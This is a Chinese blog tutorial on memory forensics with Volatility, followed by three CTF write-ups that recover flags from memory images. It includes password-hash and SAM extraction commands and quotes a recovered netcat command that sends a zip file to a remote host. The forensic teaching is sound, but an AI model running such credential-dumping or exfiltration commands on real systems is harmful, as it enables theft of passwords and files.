概述
简介:
网络与信息技术的加速渗透和深度应用以及软件漏洞不断涌现,导致网络攻击和网络犯罪频发,造成了严重的网络安全威胁.计算机取证是打击计算机与网络犯罪的关键技术,其目的是将犯罪者留在计算机中的“攻击痕迹”提取出来,作为有效的诉讼证据提供给法庭,以便将犯罪嫌疑人绳之以法。
作为一种实时提取数字证据、对抗网络攻击、打击网络犯罪的有力武器,内存取证已成为信息安全领域研究者所共同关注的热点。
内存的获取方法:
- 基于硬件的内存获取
- 基于软件的内存获取
Windows操作系统平台支持内存获取的常见工具有:
DumpIt (早期版本名为Win32dd)
Belkasoft RAMCapturer
Magnet RAM Capture
WinEn
Winpmem
EnCase Imager
FTK Imager
取证大师
取证神探
Linux操作系统常见的内存获取工具:
dd (适合Linux早期版本)
LiME http://code.google.com/p/lime-forensics/
linpmem
Draugr http://code.google.com/p/draugr/
Volatilitux http://code.google.com/p/volatilitux/
Memfetch http://lcamtuf.coredump.cx/
Memdump
MacOSX操作系统内存获取工具有:
MacMemoryReader
osxpmem
Recon for Mac OSX
Blackbag MacQuisitio
得到内存之后就是最重要的一步,就是内存取证分析。
内存分析技术
Windows操作系统获取出的物理内存镜像需要使用专门的内存分析工具。常见的内存分析工具有Volatility、Rekall、Forensic Toolkit(FTK)、取证大师及取证神探等,可以解析出常见的基本信息,包括进程信息、网络连接、加载的DLL文件及注册表加载信息等。
在这里笔者使用的是volalitity取证工具(新版本的kail好像已经没有这个软件,需要自行下载)
常用插件: imageinfo:显示目标镜像的摘要信息,知道镜像的操作系统后,就可以在 –profile 中带上对应的操作系统 pslist:该插件列举出系统进程,但它不能检测到隐藏或者解链的进程,psscan可以 psscan:可以找到先前已终止(不活动)的进程以及被rootkit隐藏或解链的进程 pstree:以树的形式查看进程列表,和pslist一样,也无法检测隐藏或解链的进程 mendump:提取出指定进程,常用foremost 来分离里面的文件 filescan:扫描所有的文件列表 hashdump:查看当前操作系统中的 password hash,例如 Windows 的 SAM 文件内容 svcscan:扫描 Windows 的服务 connscan:查看网络连接
Volatility语法规则
python2 vol.py --help //使用-h或者–help可以列举出所有可用的选项以及插件
python2 vol.py --info //–info可以打印出所有已经注册的对象(插件)
Profiles对于windows的内存取证来说至关重要。
Profiles(配置文件)
profile是特定操作系统版本以及硬件体系结构(x86,x64,ARM)中VTypes,共用体,对象类型的集合.除了这些组件以外,profile还包括如下:
元数据:操作系统的名称(例如:”windows”,”mac”,”linux”),内核版本,以及编译号.
系统调用信息:索引以及系统调用的名称
常量值:全局变量-在某些操作系统中能够在硬编码的地址处找到的全局变量
系统映射:关键全局变量和函数的地址(仅限Linux和Mac)
每个profile(配置文件)有个一个唯一的名称,通常是由操作系统的名称,版本,服务包,系统结构等信息组成.例如:Win7SP1x64是64位的Windows 7 SP1系统配置文件的名称。
常规命令格式
python2 vol.py -f <文件名> --profile=<配置文件>
<插件>
[插件参数]
栗子:
python vol.py -f lemon.raw --profile=Win7SP1x86 volshell
但是--profile如何确定配置文件呢?
如果我们不指定–profile这个选项的话,默认这个选项为WinXPSP2x86.
我们可以使用imageinfo插件来猜测dump文件的profile值.
python2 vol.py -f lemon.raw imageinfo
我们可以注意到这里有多个profile值可选.因为这些操作系统的很多特性都是类似的.imageinfo这个插件猜测profile值的功能是基于kdbgscan这个插件的功能来实现的.而kdbgscan这个插件是通过查找分析内核调试器数据块(_KDDEBUGGER_DATA64)的特征来猜测profile值的。
调试器数据结构位于NT内核模块中(nt!KdDebuggerDataBlock).它包含一个编译字符串,比如:3790.srv03_sp2_rtm.070216-1710,数字值指明了目标操作系统的主,次版本号以及服务包号。
kdbgscan插件扫描dump文件的profile值
可以看到有多个结果,通常来说第一个结果是正确的.imageinfo,kdbgscan这两个插件仅适用于Windows系统的内存dump文件.而Linux,Mac确定正确的profile值有其他的方法.
现在我们就可以指定profile这个选项的值了.
python2 vol.py -f 1emon.raw --profile=Win7SP1x86_23418
volshell
volshell这个插件用于进入Volatility专属的shell.在该shell中可以利用dt(“内核关键数据结构名称”)命令来查看操作系统内核关键数据结构的定义
列举进程
python2 vol.py -f 1emon.raw --profile=Win7SP1x86_23418
pslist
开始时间进程数,占用进程名称.但是pslist这个命令无法显示出隐藏的进程。
查看当前显示的notepad文本 | python2 vol.py -f file.raw --profile=WinXPSP2x86 notepad |
进程里面可能会隐藏flag等关键信息,可以使用以下命令查看dump | strings -e l 252.dmp | grep flag -e的参数为编码方式,其中l为16-bit编码 |
扫描所有的文件列表(常常结合grep) | python2 vol.py -f file.raw --profile=WinXPSP2x86 filescan |
根据offset提取出文件 | python2 vol.py -f file.raw --profile=WinXPSP2x86 dumpfiles -D . -Q 0x….. |
扫描 Windows 的服务 | python2 vol.py -f file.raw --profile=WinXPSP2x86 svcscan |
查看网络连接 | python2 vol.py -f file.raw --profile=WinXPSP2x86 connscan |
查看命令行上的操作 | python2 vol.py -f file.raw --profile=WinXPSP2x86 cmdscan |
根据pid dump出相应的进程 | python2 vol.py -f file.raw --profile=WinXPSP2x86 memdump -p 2580 -D 目录 //-p 的参数为进程ID-D 的参数为保存文件的路径 |
查看网络通讯连接 | python2 vol.py -f file.raw --profile=WinXPSP2x86 netscan |
查看最后关机时间 | python2 vol.py -f file.raw --profile=WinXPSP2x86 shutdowntime |
查看Windows帐户hash | python2 vol.py -f file.raw --profile=WinXPSP2x86 hashdump |
进程里面可能会隐藏flag等关键信息,可以使用以下命令查看dump
strings -e l 252.dmp | grep flag //-e的参数为编码方式,其中l为16-bit编码
列举注册表
volatility -f 1.raw --profile=Win7SP1x86 hivelist
导出注册表volatility -f 1.raw --profile=Win7SP1x86 hivedump -o 0x93fc41e8(注册表的 virtual 地址)
获取浏览器浏览历史
volatility -f 1.raw --profile=Win7SP1x86 iehistory
扫描文件
volatility -f 1.raw --profile=Win7SP1x86 filescan | grep flag //filescan会扫描内存中所有文件
如果要提取的话,使用dumpfiles提取文件volatility -f 1.raw --profile=Win7SP1x86 dumpfiles -Q 0x000000003e71e608 --dump-dir=./
-Q的参数为 内存地址
--dump-dir的参数为导出文件的目录
列举用户及密码
volatility -f 1.raw --profile=Win7SP1x86 printkey -K "SAMDomainsAccountUsersNames"
获取最后登陆系统的用户
volatility -f 1.raw --profile=Win7SP1x86 printkey -K "SOFTWAREMicrosoftWindows NTCurrentVersionWinlogon"
上面的命令就不详细的操作了。
下面开始做一些题,以练促学。
V&N 2020 公开赛 内存取证
下载raw文件,拉进kail
得到镜像信息。
查看进程
有几个可疑的进程
Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit ---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------ 0x83c0ad40 TrueCrypt.exe 3364 3188 7 388 1 0 2020-02-18 19:52:44 UTC+0000 0x837f5d40 notepad.exe 3552 1964 2 61 1 0 2020-02-18 19:53:07 UTC+0000 0x82a7e568 iexplore.exe 3640 1964 16 468 1 0 2020-02-18 19:53:29 UTC+0000 0x847c8030 iexplore.exe 3696 3640 25 610 1 0 2020-02-18 19:53:29 UTC+0000 0x848a7030 mspaint.exe 2648 1964 18 383 1 0 2020-02-18 19:54:01 UTC+0000 0x83922030 DumpIt.exe 1500 1964 2 39 1 0 2020-02-18 19:56:22 UTC+0000
TrueCrypt 一个磁盘软件
notepad 万能的记事本
iexplore 浏览器
mspaint 画图
DumpIt 内存读取工具
python2 vol.py -f mem.raw --profile=Win7SP1x64 memdump -p 2648 -D ./
换个思维想,谁又会无端打开画图工具,我们先把可疑的进程都dump下来。
又查看了浏览器的历史记录
得到一个云盘链接,应该是那个VOL的下载链接吧!
在前面我们讲画图程序dump下来了,改一下后缀2648.dmp为2648.data。
然后用gimp配合使用。
得到一个字符串1YxfCQ6goYBD6Q
然后用命令对记事本的内容进行dump
python2 vol.py -f mem.raw --profile=Win7SP1x86_23418 editbox
得到了云盘链接和提取码,下载是个VOL文件。
接下来用工具EFDD
访问F盘
得到了一串字符。
下一步就是使用TrueCrypt
将刚刚key里的字符串输入进去,挂载成功。
画图得到的字符串就是密码
得到了flag。、
不得不说套娃真的是服了。
easy_dump
查看一下信息。
列出进程。
查看一下有没有可疑的进程,然后dump下来。
这里我将记事本dump下来。
python2 vol.py -f easy_dump.img --profile=Win7SP1x64 memdump -p 2616 -D ./
然后再用命令:strings -e l 2616.dmp | grep "flag"
去2616里找flag。
flag没有但是有奇怪的照片。
python2 vol.py -f easy_dump.img --profile=Win7SP1x64 filescan | grep "jpg"
去找jpg图片
使用命令:python2 vol.py -f easy_dump.img --profile=Win7SP1x64 dumpfiles -Q 0x000000002408c460 -D ./
将图片dump下载过来。
打开也没什么东西。
binwalk看一下发现里面还有一个zip文件。
那麽就用foremost将其分离出来。
分离出来还是打不开。
再次使用foremost却没有成功,试了一下binwalk分离,成功的得到了hints.txt文件。
类似于坐标。
import matplotlib.pyplot as plt
import numpy as np
x = []
y = []
with open('hint.txt','r') as f:
datas = f.readlines()
for data in datas:
arr = data.split(' ')
x.append(int(arr[0]))
y.append(int(arr[1]))
plt.plot(x,y,'ks',ms=1)
plt.show()
脚本转换。
手机扫了以下,主要内容key:aeolus,但是他把加密文件删除了。
这里使用testdisk这个工具(kali自带)来恢复被删除的文件。
输入:testdisk xxx 即可进入软件内部操作
Proceed:继续
Quit:退出,关闭
[ Analyse ] 分析正确的分区结构并找到丢失的分区表
[ Advanced ] 文件系统工具
[ Geometry ] 更改硬盘类型
[ Options ] 修改高级选项
[ Quit ] 返回到硬盘检测
[ Type ] :改变文件系统的类型,这种修改并不会真正改变硬盘上的真正格式。
[Superblock] :列出超级块,这是文件系统的基本元数据。
[ List ] :列出所有文件,并复制(恢复)出来
[Image Creation] :对当前分区创建镜像文件
[ Quit ]:退出,返回
红色文件就表示已经删除的文件。当然你也可以选择一个红色的目录,表示恢复整个目录。
最终找到了被删除的文件
选择红色文件,小写c选择导出路径。
成功导出。
维吉尼亚解密字符串yise!dmsx_tthv_arr_didvi就可以得到flag。
内存取证三项CTF
题目说明了是取证题。
python2 vol.py -f 1.raw imageinfo
//查看配置信息
第一问写的什么,那就打开记事本
python2 vol.py -f 1.raw --profile=WinXPSP2x86 notepad
得到文本:666C61677B57336C6563306D655F376F5F466F72336E356963737D
观察只有0-9,字母最多知道F,十六进制(base16),可能是base16
第一问解决。
小白的密码,我们可以使用hashdump查看
python2 vol.py -f 1.raw --profile=WinXPSP2x86 hashdump
对:1e581aafa474dfadfdf83fc31e4fd4ea解密。
flag{19950101}
机密文件是什么?
小白的电脑给小黑的电脑发送了文件,肯定会建立连接。
python2 vol.py -f 1.raw --profile=WinXPSP2x86 connscan
本机192.168.57.21的1045与远程主机192.168.57.14的2333端口建立了连接,进程120.
python2 vol.py -f 1.raw --profile=WinXPSP2x86 pslist
列出进程。
cmd进程也有
python2 vol.py -f 1.raw --profile=WinXPSP2x86 cmdscan
//提取cmd命令记录
第一个命令就有问题了。
ipconfig
cd C:Program FilesNetcat
nc 192.168.57.14 2333 < P@ssW0rd_is_y0ur_bir7hd4y.zip
发送了一个压缩包。
python2 vol.py -f 1.raw --profile=WinXPSP2x86 memdump -p 120 -D ./
使用命令dump下来,并用binwalk 分析一下
里面还有个txt文本
还有六个压缩包。
进output文件夹里 ls
解压第一个文件时提示需要密码
用刚刚的弱口令出生年月就可以解压得到P@ssW0rd_is_y0ur_bir7hd4y.txt
flag{Thi5_Is_s3cr3t!}
内存取证就结束了,以后加油!
最后
以上就是忧心大叔为你收集整理的浅谈网络安全之内存取证的全部内容,希望文章能够帮你解决浅谈网络安全之内存取证所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复